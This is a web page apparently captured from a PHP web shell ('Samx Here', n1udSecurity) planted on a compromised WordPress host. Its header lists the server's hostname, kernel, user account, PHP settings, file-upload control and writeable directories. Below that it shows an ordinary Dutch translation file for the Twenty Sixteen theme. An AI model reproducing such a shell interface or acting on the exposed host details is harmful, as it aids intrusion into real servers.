Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/edition/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/edition/wp-content/languages/themes/twentysixteen-nl_NL.po
# Translation of Themes - Twenty Sixteen in Dutch
# This file is distributed under the same license as the Themes - Twenty Sixteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-02-18 14:56:08+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: nl\n"
"Project-Id-Version: Themes - Twenty Sixteen\n"

#. Description of the theme
msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere."
msgstr "Twenty Sixteen is een moderne uitvoering van een immer populaire WordPress layout - een horizontale hoofding met een optionele rechterzijbalk, die perfect werkt voor blogs en websites. Dit thema heeft een aantal ingebouwde kleurschema's die je zelf kan aanpassen, een vloeiend grid-systeem dat op mobile-first is gericht, en is tot in de puntjes afgewerkt. Twenty Sixteen zal je WordPress er overal prachtig doen uitzien."

#. Theme Name of the theme
msgid "Twenty Sixteen"
msgstr "Twenty Sixteen"

#: functions.php:204
msgid "Bright Red"
msgstr "Helder rood"

#: functions.php:199
msgid "Dark Red"
msgstr "Donker rood"

#: functions.php:194
msgid "Medium Brown"
msgstr "Midden bruin"

#: functions.php:189
msgid "Dark Brown"
msgstr "Donker bruin"

#: functions.php:184
msgid "Light Blue"
msgstr "Lichtblauw"

#: functions.php:179
msgid "Bright Blue"
msgstr "Helder blauw"

#: functions.php:174
msgid "Blue Gray"
msgstr "Blauwgrijs"

#: functions.php:169
msgid "White"
msgstr "Wit"

#: functions.php:164
msgid "Light Gray"
msgstr "Licht grijs"

#: functions.php:159
msgid "Medium Gray"
msgstr "Midden grijs"

#: functions.php:154
msgid "Dark Gray"
msgstr "Donkergrijs"

#. translators: %s: Post title.
#: template-parts/content.php:29 inc/template-tags.php:195
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Lees <span class=\"screen-reader-text\">\"%s\"</span> verder"

#. translators: %s: Post title.
#: image.php:88 template-parts/content-page.php:39
#: template-parts/content.php:53 template-parts/content-search.php:28
#: template-parts/content-search.php:43 template-parts/content-single.php:47
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Bewerk <span class=\"screen-reader-text\">\"%s\"</span>"

#: inc/customizer.php:347
msgid "Red"
msgstr "Rood"

#. translators: %s: Post title.
#: comments.php:31
msgctxt "comments title"
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "Eén gedachte over &ldquo;%s&rdquo;"

#: searchform.php:16
msgctxt "submit button"
msgid "Search"
msgstr "Zoeken"

#: searchform.php:14
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Zoeken &hellip;"

#: searchform.php:13
msgctxt "label"
msgid "Search for:"
msgstr "Zoeken naar:"

#: footer.php:30
msgid "Footer Social Links Menu"
msgstr "Footer sociale links menu"

#: footer.php:17
msgid "Footer Primary Menu"
msgstr "Footer primaire menu"

#: functions.php:269
msgid "Add widgets here to appear in your sidebar."
msgstr "Widgets hier toevoegen om in de sidebar te tonen."

#: template-parts/content.php:14
msgid "Featured"
msgstr "Uitgelicht"

#: template-parts/content-none.php:33
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Het lijkt erop dat wij niet kunnen vinden wat jij zoekt. Wellicht dat de zoekfunctie kan helpen."

#: template-parts/content-none.php:28
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Helaas, er waren geen overeenkomsten met jouw zoekopdracht. Probeer het opnieuw met enkele andere zoekwoorden."

#. translators: %s: Post editor URL.
#: template-parts/content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Klaar om je eerste bericht te publiceren? <a href=\"%1$s\">Hier starten</a>."

#: template-parts/content-none.php:13
msgid "Nothing Found"
msgstr "Niets gevonden"

#. translators: %s: The post author display name.
#: template-parts/biography.php:35
msgid "View all posts by %s"
msgstr "Toon alle berichten van %s"

#: template-parts/biography.php:28
msgid "Author:"
msgstr "Auteur:"

#: single.php:42
msgid "Previous post:"
msgstr "Vorig bericht:"

#: single.php:41
msgid "Previous"
msgstr "Vorige"

#: single.php:39
msgid "Next post:"
msgstr "Volgend bericht:"

#: single.php:38
msgid "Next"
msgstr "Volgende"

#. translators: %s: The search query.
#: search.php:21
msgid "Search Results for: %s"
msgstr "Zoekresultaten voor: %s"

#: inc/template-tags.php:113
msgctxt "Used before tag names."
msgid "Tags"
msgstr "Tags"

#: inc/template-tags.php:104
msgctxt "Used before category names."
msgid "Categories"
msgstr "Categorieën"

#: inc/template-tags.php:100 inc/template-tags.php:109
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:84
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "Geplaatst op"

#. translators: %s: Post title.
#: inc/template-tags.php:53
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "Laat een reactie achter<span class=\"screen-reader-text\"> op %s</span>"

#: inc/template-tags.php:40
msgctxt "Used before post format."
msgid "Format"
msgstr "Format"

#: inc/template-tags.php:26
msgctxt "Used before post author name."
msgid "Author"
msgstr "Auteur"

#: functions.php:209 inc/customizer.php:357
msgid "Yellow"
msgstr "Geel"

#: inc/customizer.php:337
msgid "Gray"
msgstr "Grijs"

#: inc/customizer.php:327
msgid "Dark"
msgstr "Donker"

#: inc/customizer.php:317
msgid "Default"
msgstr "Standaard"

#: inc/customizer.php:242
msgid "Secondary Text Color"
msgstr "Secundaire tekst kleur"

#: inc/customizer.php:221
msgid "Main Text Color"
msgstr "Tekstkleur"

#: inc/customizer.php:200
msgid "Link Color"
msgstr "Linkkleur"

#: inc/customizer.php:176
msgid "Page Background Color"
msgstr "Achtergrondkleur"

#: inc/customizer.php:153
msgid "Base Color Scheme"
msgstr "Standaard kleurenschema"

#. translators: %s: The current WordPress version.
#: inc/back-compat.php:42 inc/back-compat.php:56 inc/back-compat.php:75
msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again."
msgstr "Twenty Sixteen vereist WordPress versie 4.4 of nieuwer. Je hebt versie %s. Gelieve deze bij te werken en probeer het dan opnieuw!"

#: single.php:31 image.php:107
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">Gepubliceerd in</span><span class=\"post-title\">%title</span>"

#: image.php:77
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Volledige grootte"

#: image.php:58 template-parts/content-page.php:24
#: template-parts/content.php:36 template-parts/content-single.php:26
msgid "Pages:"
msgstr "Pagina's:"

#: image.php:26
msgid "Next Image"
msgstr "Volgende afbeelding"

#: image.php:25
msgid "Previous Image"
msgstr "Vorige afbeelding"

#: header.php:50
msgid "Menu"
msgstr "Menu"

#: header.php:28
msgid "Skip to content"
msgstr "Naar de inhoud springen"

#: functions.php:420
msgid "collapse child menu"
msgstr "Alles inklappen"

#: functions.php:419
msgid "expand child menu"
msgstr "Alles uitklappen"

#: functions.php:338
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "on"

#: functions.php:330
msgctxt "Montserrat font: on or off"
msgid "on"
msgstr "aan"

#: functions.php:322
msgctxt "Merriweather font: on or off"
msgid "on"
msgstr "aan"

#: functions.php:291
msgid "Content Bottom 2"
msgstr "Inhoud beneden 2"

#: functions.php:281 functions.php:293
msgid "Appears at the bottom of the content on posts and pages."
msgstr "Verschijnt onderaan de inhoud van berichten en pagina\\'s."

#: functions.php:279
msgid "Content Bottom 1"
msgstr "Inhoud beneden 1"

#: functions.php:267
msgid "Sidebar"
msgstr "Sidebar"

#: functions.php:93 header.php:67
msgid "Social Links Menu"
msgstr "Socialelinksmenu"

#: functions.php:92 header.php:54
msgid "Primary Menu"
msgstr "Hoofdmenu"

#. translators: %s: WordPress
#: footer.php:63
msgid "Proudly powered by %s"
msgstr "Ondersteund door %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "Reacties zijn gesloten."

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "Eén gedachte over &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s gedachten over &ldquo;%2$s&rdquo;"

#: image.php:62 template-parts/content-page.php:28
#: template-parts/content.php:40 template-parts/content-single.php:30
#: search.php:46 archive.php:54 index.php:51
msgid "Page"
msgstr "Pagina"

#: search.php:45 archive.php:53 index.php:50
msgid "Next page"
msgstr "Volgende pagina"

#: search.php:44 archive.php:52 index.php:49
msgid "Previous page"
msgstr "Vorige pagina"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Het lijkt erop dat er niets gevonden is op deze locatie. Probeer het eens met een zoekopdracht?"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "Oeps! Deze pagina kon niet worden gevonden."

#. Author of the theme
msgid "the WordPress team"
msgstr "het WordPress team"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentysixteen/"
msgstr "https://nl.wordpress.org/themes/twentysixteen/"

#. Author URI of the theme
#: footer.php:60
msgid "https://wordpress.org/"
msgstr "https://nl.wordpress.org/"

SAMX